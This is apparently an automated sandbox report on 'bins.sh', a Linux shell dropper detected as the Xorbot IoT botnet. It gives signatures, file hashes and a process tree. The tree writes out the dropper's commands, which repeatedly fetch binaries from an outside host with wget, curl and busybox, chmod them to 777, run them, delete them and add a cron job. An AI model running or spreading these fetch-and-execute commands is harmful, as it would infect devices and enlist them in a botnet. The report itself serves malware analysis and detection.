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Analysis

  • max time kernel
    149s
  • max time network
    154s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240418-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240418-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    27/02/2025, 23:08

General

  • Target

    bins.sh

  • Size

    10KB

  • MD5

    97fa31a6ea5fb450f4b293c1695590f1

  • SHA1

    159bd52d99913da9322c119a059d3a365e4df48b

  • SHA256

    2a07e23c43f86bb0d86fbcf7150800436a5a5eecc19df844a25f333103d680cb

  • SHA512

    398542cc05bbba61b049fac52ea0705164bc47b69c0416f5492e00af30a0c8135d4197475d051860d7d260a15e150b19afe7901b4fd8253c945f68d3ef2289a1

  • SSDEEP

    192:ky+S2qAgvmyXkoni6i8cBC+3IhdaP3TG/UDi8cBC+rAhdaP3eIDJMnAgvmyHkonQ:ky+S2qAgvmyXkoni6i8cBC+4hdaP3T2n

Malware Config

Signatures

  • Detects Xorbot 7 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • Contacts a large (743) amount of remote hosts 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • File and Directory Permissions Modification 1 TTPs 9 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 8 IoCs
  • Renames itself 1 IoCs
  • Creates a large amount of network flows 1 TTPs

    This may indicate a network scan to discover remotely running services.

  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 28 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 20 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
    • Executes dropped EXE
    PID:701
    • /bin/rm
      /bin/rm bins.sh
      2⤵
        PID:704
      • /usr/bin/wget
        wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:706
      • /usr/bin/curl
        curl -O http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        • Writes file to tmp directory
        PID:805
      • /bin/busybox
        /bin/busybox wget http://conn.masjesu.zip/bins/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • System Network Configuration Discovery
        PID:807
      • /bin/chmod
        chmod 777 Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
        • File and Directory Permissions Modification
        PID:811
      • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        ./Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
        2⤵
          PID:812
        • /bin/rm
          rm Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT
          2⤵
            PID:814
          • /usr/bin/wget
            wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:815
          • /usr/bin/curl
            curl -O http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:816
          • /bin/busybox
            /bin/busybox wget http://conn.masjesu.zip/bins/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • System Network Configuration Discovery
            • Writes file to tmp directory
            PID:818
          • /bin/chmod
            chmod 777 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
            • File and Directory Permissions Modification
            PID:819
          • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            ./11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
            2⤵
              PID:820
            • /bin/rm
              rm 11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN
              2⤵
                PID:822
              • /usr/bin/wget
                wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:823
              • /usr/bin/curl
                curl -O http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • Reads runtime system information
                • System Network Configuration Discovery
                • Writes file to tmp directory
                PID:824
              • /bin/busybox
                /bin/busybox wget http://conn.masjesu.zip/bins/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • System Network Configuration Discovery
                PID:826
              • /bin/chmod
                chmod 777 wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                • File and Directory Permissions Modification
                PID:827
              • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                ./wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                2⤵
                  PID:828
                • /bin/rm
                  rm wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE
                  2⤵
                    PID:830
                  • /usr/bin/wget
                    wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:831
                  • /usr/bin/curl
                    curl -O http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • Reads runtime system information
                    • System Network Configuration Discovery
                    • Writes file to tmp directory
                    PID:832
                  • /bin/busybox
                    /bin/busybox wget http://conn.masjesu.zip/bins/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • System Network Configuration Discovery
                    PID:834
                  • /bin/chmod
                    chmod 777 vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                    • File and Directory Permissions Modification
                    PID:835
                  • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    ./vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                    2⤵
                      PID:836
                    • /bin/rm
                      rm vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6
                      2⤵
                        PID:838
                      • /usr/bin/wget
                        wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:839
                      • /usr/bin/curl
                        curl -O http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • System Network Configuration Discovery
                        • Writes file to tmp directory
                        PID:840
                      • /bin/busybox
                        /bin/busybox wget http://conn.masjesu.zip/bins/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • System Network Configuration Discovery
                        PID:842
                      • /bin/chmod
                        chmod 777 JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                        • File and Directory Permissions Modification
                        PID:843
                      • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        ./JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                        2⤵
                          PID:844
                        • /bin/rm
                          rm JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn
                          2⤵
                            PID:846
                          • /usr/bin/wget
                            wget http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:847
                          • /usr/bin/curl
                            curl -O http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • Reads runtime system information
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:848
                          • /bin/busybox
                            /bin/busybox wget http://conn.masjesu.zip/bins/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • System Network Configuration Discovery
                            • Writes file to tmp directory
                            PID:850
                          • /bin/chmod
                            chmod 777 BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                            • File and Directory Permissions Modification
                            PID:851
                          • /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            ./BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                            2⤵
                              PID:852
                            • /bin/rm
                              rm BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP
                              2⤵
                                PID:854
                              • /usr/bin/wget
                                wget http://conn.masjesu.zip/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:855
                              • /usr/bin/curl
                                curl -O http://conn.masjesu.zip/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:856
                              • /bin/busybox
                                /bin/busybox wget http://conn.masjesu.zip/bins/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • System Network Configuration Discovery
                                • Writes file to tmp directory
                                PID:858
                              • /bin/chmod
                                chmod 777 BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                • File and Directory Permissions Modification
                                PID:859
                              • /tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                ./BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                2⤵
                                  PID:860
                                • /bin/rm
                                  rm BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf
                                  2⤵
                                    PID:862
                                  • /usr/bin/wget
                                    wget http://conn.masjesu.zip/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:863
                                  • /usr/bin/curl
                                    curl -O http://conn.masjesu.zip/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:864
                                  • /bin/busybox
                                    /bin/busybox wget http://conn.masjesu.zip/bins/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • System Network Configuration Discovery
                                    • Writes file to tmp directory
                                    PID:866
                                  • /bin/chmod
                                    chmod 777 eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • File and Directory Permissions Modification
                                    PID:867
                                  • /tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    ./eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                    2⤵
                                    • Renames itself
                                    • Reads runtime system information
                                    PID:868
                                    • /bin/sh
                                      sh -c "crontab -l"
                                      3⤵
                                        PID:870
                                        • /usr/bin/crontab
                                          crontab -l
                                          4⤵
                                            PID:871
                                        • /bin/sh
                                          sh -c "crontab -"
                                          3⤵
                                            PID:872
                                            • /usr/bin/crontab
                                              crontab -
                                              4⤵
                                              • Creates/modifies Cron job
                                              PID:873
                                        • /bin/rm
                                          rm eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ
                                          2⤵
                                            PID:875
                                          • /usr/bin/wget
                                            wget http://conn.masjesu.zip/bins/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:878
                                          • /usr/bin/curl
                                            curl -O http://conn.masjesu.zip/bins/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:879
                                          • /bin/busybox
                                            /bin/busybox wget http://conn.masjesu.zip/bins/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            2⤵
                                            • System Network Configuration Discovery
                                            PID:881
                                          • /bin/chmod
                                            chmod 777 lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            2⤵
                                            • File and Directory Permissions Modification
                                            PID:966
                                          • /tmp/lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            ./lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                            2⤵
                                              PID:967
                                            • /bin/rm
                                              rm lHtjYTsGKwycsjTcL1uCuYdrPRDUG9nw7P
                                              2⤵
                                                PID:968
                                              • /usr/bin/wget
                                                wget http://conn.masjesu.zip/bins/qYDSipZktI9B5Nh2UUiK5kXLz105f9afQx
                                                2⤵
                                                • System Network Configuration Discovery
                                                PID:969

                                            Network

                                            MITRE ATT&CK Enterprise v15

                                            Replay Monitor

                                            Loading Replay Monitor...

                                            Downloads

                                            • /tmp/11CZ4J7HnT6Xb9qb6K36oBPwlOX5ZmESzN

                                              Filesize

                                              122KB

                                              MD5

                                              cd3d4b9c643e5b473fb4d88ed05f0716

                                              SHA1

                                              64ee7a97418583d759eaea8000890cc3bae1b5f4

                                              SHA256

                                              0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

                                              SHA512

                                              164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

                                            • /tmp/BMnYNdpUf17aesxzeG40ArU9UJ0unWSFpP

                                              Filesize

                                              119KB

                                              MD5

                                              1b166b95f9cb4b079ef1b9ec8363ddf3

                                              SHA1

                                              0d8eb08add467b3b5474f9b25909297fe7c2839c

                                              SHA256

                                              94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

                                              SHA512

                                              983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

                                            • /tmp/BUtKxm63IfiVrnmYzdNchNc6Riz24F9sHf

                                              Filesize

                                              99KB

                                              MD5

                                              9438d9bc392bcf300a5583b6df5bc8f6

                                              SHA1

                                              375a6ae34b516f6f3eeea8030c4084f585017efa

                                              SHA256

                                              68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

                                              SHA512

                                              1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

                                            • /tmp/JVywqHuM3xJqkpfjh4oyy8DMsZNFcFHTBn

                                              Filesize

                                              98KB

                                              MD5

                                              5141342d0df8699fa32a6b066a0c592e

                                              SHA1

                                              8157673225bd5182f16215e2aa823a25ca2d4fbc

                                              SHA256

                                              54302d130cd356fb19ea5a763c5ab6b0892fc234118f10ba3196ec4245c83b4d

                                              SHA512

                                              d6b24571e7691227abafc70133a1da007c97c2730c820de77a750d2c140a8a75554cc614b4729debc4ec5480124252737c5846a458a5146005285c6d3f9e3801

                                            • /tmp/Pfo0CBoPyLTEtTaXlYQgEtuvDI8Ao3dvFT

                                              Filesize

                                              141KB

                                              MD5

                                              3ca8decdb1e52c423c521bfff02ac200

                                              SHA1

                                              8621ecd6807109b8541912ad9e134f6fb49bfd48

                                              SHA256

                                              dee3a1252e88f188c362e08b16ece678559ad2566511871f5cde69296f6c779f

                                              SHA512

                                              b6f89d7875d584c109f30814738fec4fe04619745941d9cbbff20bbefbab454dee7180321f6913da1a3b89fba2dc743b28631e52261539d091cc802a5c7a1c7a

                                            • /tmp/eTvtKFEJKQt9CzTzU1EQ7dXTQwyWnTXuwJ

                                              Filesize

                                              151KB

                                              MD5

                                              3c90d5820bddcf7c5d1bd21dfa49d958

                                              SHA1

                                              5ba05bd489e50af97d6dc45e3a0be60e494d5083

                                              SHA256

                                              bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2

                                              SHA512

                                              54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a

                                            • /tmp/vKsN87FfQlOiSr2whSMyQq3XNdvhS5rTX6

                                              Filesize

                                              112KB

                                              MD5

                                              05d7857dcead18bbd86d2935f591873c

                                              SHA1

                                              34d18f41ef35f93d5364ce3e24d74730a4e91985

                                              SHA256

                                              2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

                                              SHA512

                                              d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

                                            • /tmp/wNt667Db4S0sgUJP1g36lcnFnByIeFKjFE

                                              Filesize

                                              107KB

                                              MD5

                                              eb9c3a0de91fcf16ba17cb24608df68c

                                              SHA1

                                              09d95a7d70d5e115d103be51edff7c498d272fac

                                              SHA256

                                              dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

                                              SHA512

                                              9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

                                            • /var/spool/cron/crontabs/tmp.SMMQj8

                                              Filesize

                                              210B

                                              MD5

                                              215e3faf17e9f09a9b04be13e6bc686b

                                              SHA1

                                              1314d8089158962fb2ad04395af0c05357cdfef5

                                              SHA256

                                              ff2eed865c225afe9f32ec4bd44c9276acf8e2b806f091350fe43fd77c0f4337

                                              SHA512

                                              f12ac19a09401d0af4b8d736393bea3d2f479f37095a516f10f82b5ae016c6faf6fb5b609b9f9c58707d8b24d7a31b0bcdf258726385d465c220ed047a8e54e4